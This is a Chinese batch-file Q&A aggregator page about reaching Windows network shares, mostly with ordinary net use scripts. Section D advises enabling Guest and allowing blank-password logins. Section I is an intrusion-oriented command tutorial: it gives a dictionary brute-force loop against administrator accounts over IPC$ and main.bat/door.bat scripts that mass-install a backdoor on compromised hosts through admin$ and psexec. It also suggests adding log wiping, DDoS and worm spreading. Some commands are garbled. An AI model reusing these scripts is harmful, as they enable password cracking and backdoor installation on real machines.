當前位置:首頁 » 密碼管理 » 訪問批處理

訪問批處理

發布時間: 2022-05-21 10:11:42

A. 批處理如何訪問域共享文件夾

一,有用戶名和密碼(推薦)
1.給administrator 用名加一個密碼,不介意
2.新建一個用戶,比如說123,密碼111.
3.共享你的文件夾,最好是隱藏共享,且共享的用戶名有訪問許可權,看電影最好用只讀共享。
4. bat
@echo off
ECHO Y|net use * /del >NUL
net use \\10.192.168.111\E$ "111" /user:123 >NUL
explorer \\10.192.168.111\E$
exit
@echo on

批處理說明:
第一句是批處理執行不顯示
第二句是刪除機子上的有的共享鏈接,用於同一個共享有不同的訪問許可權。如果只是看電影則可以刪除,建議保留
第三句是用用戶名123和密碼111來建立鏈接,也就是共享
第四句是用瀏覽器打開共享的用件夾,
第五句是退出,
第三句是打開顯示開關。

第二種:無用戶名和密碼(看似簡單,其實很麻煩)
1.伺服器和客戶機都要開啟GUEST用戶,用GUEST來訪問
2.在伺服器建立共享,可以是隱藏的,也可以是可見的,最主要是GUST要有許可權,當然是只讀。
3.bat
@echo off
explorer \\10.192.168.111\E$
exit
@echo on

對比:
方法1的好外有很多,比如說可以用戶來訪問,比如說123的用戶用來看電影,默認的批處理,在自己機上把123的用戶改成administrator的用戶,一定要有密碼和許可權,這樣就可以添加刪除電影。設置也比較簡單。
方法2要開啟guest用戶,客戶機要每一台都設置,比較麻煩。

B. 批處理訪問共享計算機上的文件夾

@echo off
setlocal
cls
color 7
echo
if not %OS%==Windows_NT echo 本程序只能在WindowsNT以上系統運行! & goto exit
rem ========================交互部分========================
echo 192.168.1.1...
set /p host=
if {%host%}=={} echo 192.168.1.1 & goto exit
echo administrator...
set /p user=
if {%user%}=={} echo administrator & goto exit
echo 123456...
set /p pass=
if {%pass%}=={} echo 123456 & goto exit
echo 請輸入需要遠程運行的程序,該程序必須在本程序目錄下!...
set /p pro=
if {%pro%}=={} echo 請輸入需要遠程運行的程序! &goto exit
rem ========================主程序=========================
echo 正在連接到%host% ...
net use \\%host% %pass% /user:"%user%"
if not %errorlevel%==0 goto :err
echo 連接已建立!
echo 正在復制文件...
"%pro%" echo 文件復製成功!
net time \\%host% /set /y >nul
IF not %errorlevel%==0 echo 查詢時間失敗! & goto exit
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
echo %host%當前時間為%hh%:%mm%
set /a mm=%mm%+1
if /i %mm% geq 60 set /a mm=0 & set /a hh=%hh%+1
if /i %hh% geq 24 set /a hh=0
set tm=%hh%:%mm%
echo 正在設置啟動時間...
at \\%host% %tm% "%pro%"
IF not %errorlevel%==0 echo 設置失敗! & goto exit
at \\%host% |find "%pro%" >nul
IF not %errorlevel%==0 echo 設置失敗! & goto exit
echo 啟動時間設置成功!
echo 指定的程序將在一分鍾後執行!
echo good luck:)
endlocal
goto exit
rem ========================主程序結束=========================
:err
echo 連接建立失敗!
goto exit
:exit
net use |find "%host%" >nul
if %errorlevel%==0 net use \\%host% /del /y >nul
pause

C. 實現區域網互訪的批處理

使用 NTRights.exe 實用工具來允許或拒絕用戶對用戶和組從命令行或批處理文件許可權。 NTRights.exe 實用程序包括在 Windows NT Server 4.0 資源工具包 Supplement 3 中。
NTRights.exe 工具使用下列語法:

ntrights + R - / r user_right - u & quot account _ m\\computer_name " name " -

位置:

• + R 用於添加用戶許可權。
• - -r 用於撤消用戶許可權。
• user_right 是要授予或廢除用戶權利。
• " 帳戶 _name " 是用戶或組 (用引號括起來) 正在修改其用戶許可權的名稱。
• 計算機名 是其中用戶許可權被更改遠程計算機的名稱。 如果 m 選項和計算機名未指定, 本地計算機上發生更改 -。

能夠設置許可權為用戶或組, 必須管理員特權。 下表列出可通過使用 NTRights.exe 實用程序更改用戶許可權。

備註: 以下: 用戶權利區分和必須鍵入完全與下面顯示:

WindowsNT 右側 允許用戶以
SeAssignPrimaryTokenPrivilege 替換進程級令牌
SeAuditPrivilege 生成安全審核
SeBackupPrivilege 備份文件和目錄
SeBatchLogonRight 作為批處理作業登錄
SeChangeNotifyPrivilege 繞過遍歷檢查
SeCreatePagefilePrivilege 創建頁面文件
SeCreatePermanentPrivilege 創建永久共享對象
SeCreateTokenPrivilege 創建令牌對象
SeDebugPrivilege 調試程序
增加調度優先順序
SeIncreaseQuotaPrivilege 增加配額
SeInteractiveLogonRight 本地登錄
SeLoadDriverPrivilege 載入和卸載設備驅動程序
SeLockMemoryPrivilege 內存中鎖定頁
SeMachineAccountPrivilege 將工作站添加到域
SeNetworkLogonRight 從網路訪問此計算機
配置單一進程
SeRemoteShutdownPrivilege 從遠程系統強制關機
SeRestorePrivilege 還原文件和目錄
SeSecurityPrivilege 管理審核和安全日誌
SeServiceLogonRight 作為服務登錄
SeShutdownPrivilege 關閉系統
SeSystemEnvironmentPrivilege 修改固件環境值
SeSystemProfilePrivilege 配置系統性能
SeSystemtimePrivilege 更改系統時間
SeTakeOwnershipPrivilege 取得文件或其他對象的所有權
SeTcbPrivilege 充當操作系統的一部分
SeUnsolicitedInputPrivilege 從終端設備讀取未經請求的輸入

D. 設置網上鄰居可以相互訪問的批處理工具

區域網電腦互訪的設置

一刪一改一禁用,計劃任務改手動。
設置共享是根本,添加協議保成功。

1、解除Windows XP系統的文件共享限制
在安裝了Windows XP的計算機上,即使網路連接和共享設置正確(如IP地址屬於同一子網,啟用了TCP/IP上的NetBIOS,防火牆軟體沒有禁止文件共享需要的135、137、138、139等埠),使用其他系統(包括Windows 9X/Me/2000/XP等)的用戶仍然無法訪問該計算機,解決辦法(一刪一改一禁用):
⑴解除對Guest賬號的限制:控制面板\管理工具\本地安全策略\本地策略\安全選項\用戶權利指派,雙擊「拒絕從網路訪問這台計算機」策略,刪除裡面的「GUEST」賬號。這樣就解除了對Guest賬號的限制,其他用戶就能夠用Guest賬號通過網路訪問使用Windows XP系統的計算機了。
⑵更改網路訪問模式:控制面板\管理工具\本地安全策略\本地策略\安全選項,雙擊「網路訪問:本地賬號的共享和安全模式」策略,將默認設置「僅來賓—本地用戶以來賓身份驗證」,更改為「經典:本地用戶以自己的身份驗證」。
⑶解決空白密碼不能登錄問題:控制面板\管理工具\本地安全策略\本地策略\安全選項,將「帳戶:使用空白的本地上允許進行控制台登錄」禁用。
當用戶的口令為空時,訪問會被拒絕。原來在「安全選項」中有一個「賬戶:使用空白密碼的本地賬戶只允許進行控制台登錄」策略默認是啟用的,根據Windows XP安全策略中拒絕優先的原則,密碼為空的用戶通過網路訪問使用Windows XP的計算機時便會被禁止,只要將這個策略停用即可解決問題。
2、徹底禁用WinXP的計劃任務
⑴關掉WinXP的計劃任務服務(Task Scheler)
可以到「控制面板/管理工具/服務」中打開「Task Scheler」的屬性對話框,單擊「停止」按鈕停止該項服務,再將啟動類型設為「手動」,這樣下次啟動時便不會自動啟動該項服務了。
⑵刪除注冊表中的兩個子鍵
到注冊表中找到主鍵「
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace」 刪除下面的兩個子健 {2227A280-3AEA-1069-A2DE-08002B30309D}、{D6277990-4C6A-11CF-87-00AA0060F5BF}
其中,第一個子健決定網上鄰居是否要搜索網上的列印機(甚至要到Internet中去搜尋),如果網路中沒有共享的列印機便可刪除此鍵。第二個子健則決定是否需要查找指定的計劃任務,這是網上鄰居很慢的罪魁禍首,必須將此子健刪除。
檢查注冊表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa右邊窗口RestrictAnonymous的值是否為0
3、共享的設置
⑴共享文件夾的設置:右擊需共享的文件夾→共享和安全,選中「共享此文件夾」,OK!
⑵設置共同工作組:將各電腦設成同一工作組,開始\程序\附件\通訊\網路安裝向導……
⑶共享密碼的設置:
首先取消默認的「簡單共享」。打開「我的電腦」,依次點擊「工具→文件夾選項」,在打開的對話框中選擇「查看」選項卡,把「使用簡單共享(推薦)」前的勾去掉。 然後創建共享用戶。單擊「開始→設置→控制面板」,打開「用戶帳戶」,創建一個有密碼的用戶,假設用戶名為user00,需要共享資源的機器必須以該用戶共享資源。 接下來設置要共享的目錄。設置只有用戶user00可以共享的目錄下的資源:用滑鼠右鍵單擊要共享的目錄,單擊「共享和安全」,選擇「共享→共享該文件夾」,點擊「許可權」,單擊「刪除」按鈕將原先該目錄的(everyone)刪除,再單擊「添加」按鈕,依次單擊「高級→立即查找」,選擇用戶user00,單擊「確定」添加用戶user00添加,並選擇用戶user00的共享許可權以後區域網中的計算機要想查看該共享文件夾中的內容,只有輸入正確的用戶名和密碼,才能查看或修改共享文件夾中的內容。
4、Win 2000不能訪問Win XP的原因及解決方法
⑴在WinXP中安裝NetBEUI協議
在WinXP安裝光碟的「\valueADD\MSFT\NET\NETBEUI」目錄下有3個文件,其中「NETBEUI.TXT」是安裝說明,另外兩個是安裝NetBEUI協議所需的文件。安裝的具體步驟如下:
復制「NETNBF.INF」到「%SYSTEMROOT%\INF\」目錄;
復制「NBF.SYS」到「%SYSTEMROOT%\SYSTEM32\DRIVERS\」目錄;
在網路連接屬性中單擊「安裝」按鈕來安裝NetBEUI協議。
-------------------------------------------------------------------------------------------------
1、Win 98不能訪問Win XP的解決方法
在開啟了系統Guest用戶的情況下,點擊「開始→運行」,輸入「GPEDIT.MSC」,打開組策略編輯器,在「本地計算機策略\計算機配置\Windows設置\安全設置\本地策略\用戶權利指派\拒絕從網路訪問這台計算機」中赫然可以看到有Guest用戶!如果在這里刪除Guest用戶,那麼其他電腦就可以從網上鄰居中查看這台電腦的共享目錄了。
2、解決其它Windows電腦無法訪問WinXP電腦的問題
⑴檢查Guest用戶是否已經啟用
在默認情況下,Win2000和WinXP中的Guest用戶是禁用的。要啟用Guest用戶可以到「控制面板/管理工具/計算機管理/本地用戶和組/用戶」中去掉「賬戶已停用」前面的小勾。此用戶最好不要設密碼,並選中「用戶不能更改密碼」和「密碼永不過期」,這樣可以方便用戶訪問並減少出現麻煩的可能性。但前提是必須設置好Guest用戶的許可權和所屬組,否則後患無窮。
⑵檢查是否拒絕Guest用戶從網路訪問本機
在WinXP中默認情況下是拒絕Guest用戶從網路訪問本機的。可以到「控制面板/管理工具/本地安全策略/本地策略/用戶許可權指派/拒絕從網路訪問這台計算機」查看,若其中包括Guest用戶便將其刪除。如果是在建有域的Win2000 Server或WinXP.net伺服器上,還必須在「域安全策略」的相應項目中將Guest用戶刪除,需要注意的是刪除後要等幾分鍾才能奏效。
⑶為Guest用戶設置密碼若Guest用戶設有密碼,其它Windows工作站訪問WinXP計算機時會提示輸入密碼,此時輸入Guest用戶的密碼也可以進入WinXP計算機。輸入密碼時可選中下面的「請將密碼保存到密碼列表」項,下次進入時便不再提示密碼(除非該用戶密碼已更改)。當然,若是在Windows工作站上已經設置為登錄域,並以某一域用戶登錄到域中則不會受到為Guest用戶密碼的影響。

E. 如何用批處理訪問伺服器上的文件並且需要輸入用戶名和密碼才能訪問

net use \\172.17.1.1\d$ "密碼" /u:"用戶名"
start \\172.17.1.1\d$

F. 如何用批處理打開批處理

直接輸入路徑調用批處理,調用後就會退出。不會繼續執行下面的批處理。所以可以用call調用批處理。如果你想要打開批處理就用start 。但是用start打開批處理,批處理運行完後會繼續停留在命令行界面。所以你用批處理打開的批處理要添加一個exit退出。
call XXX.bat
start XXX.bat

G. 求一個網路訪問的批處理。

net use \\172.18.16.1\ipc$ "123" /u:user /persistent:yes ||msg * 無法連接到172.18.16.1

H. 批處理 區域網訪問,請幫忙

總覺的什麼地方不對。。。

第一,用net use連接共享主機的命令可以這樣寫,後面的persistent可選,用來指定是否保存連接用戶及密碼
net use \\共享主機\ 密碼 /user:用戶名 /persistent:yes

第二,你想要達到的目的可能無法實現,用區域網共享方式訪問遠端主機運行程序或命令是可以的,但是命令結果仍然是相對於本地主機的,比如這個PING,不管是在本地主機上直接PING 192.168.0.1還是執行遠端主機上的命令文件,PING的結果都是顯示本地主機到192.168.0.1的連通狀況,而不能顯示遠端主機比如192.168.0.11到192.168.0.1之間的連通狀況。

I. 批處理命令都有什麼

1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample篅echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).

熱點內容
c語言課程報告 發布:2025-05-19 22:52:38 瀏覽:236
編程軟體e 發布:2025-05-19 22:51:00 瀏覽:127
手機壁紙安卓app哪個最好用 發布:2025-05-19 22:50:06 瀏覽:47
mysqllinux安裝 發布:2025-05-19 22:42:55 瀏覽:358
android開發必備 發布:2025-05-19 22:36:08 瀏覽:889
硬碟緩存什麼用 發布:2025-05-19 22:09:41 瀏覽:13
蘋果筆記本配置好的有哪些 發布:2025-05-19 22:08:57 瀏覽:16
oracle存儲過程中批量修改表結構 發布:2025-05-19 22:02:22 瀏覽:521
php支付寶sdk 發布:2025-05-19 22:01:06 瀏覽:603
雲掃墓源碼 發布:2025-05-19 22:00:32 瀏覽:594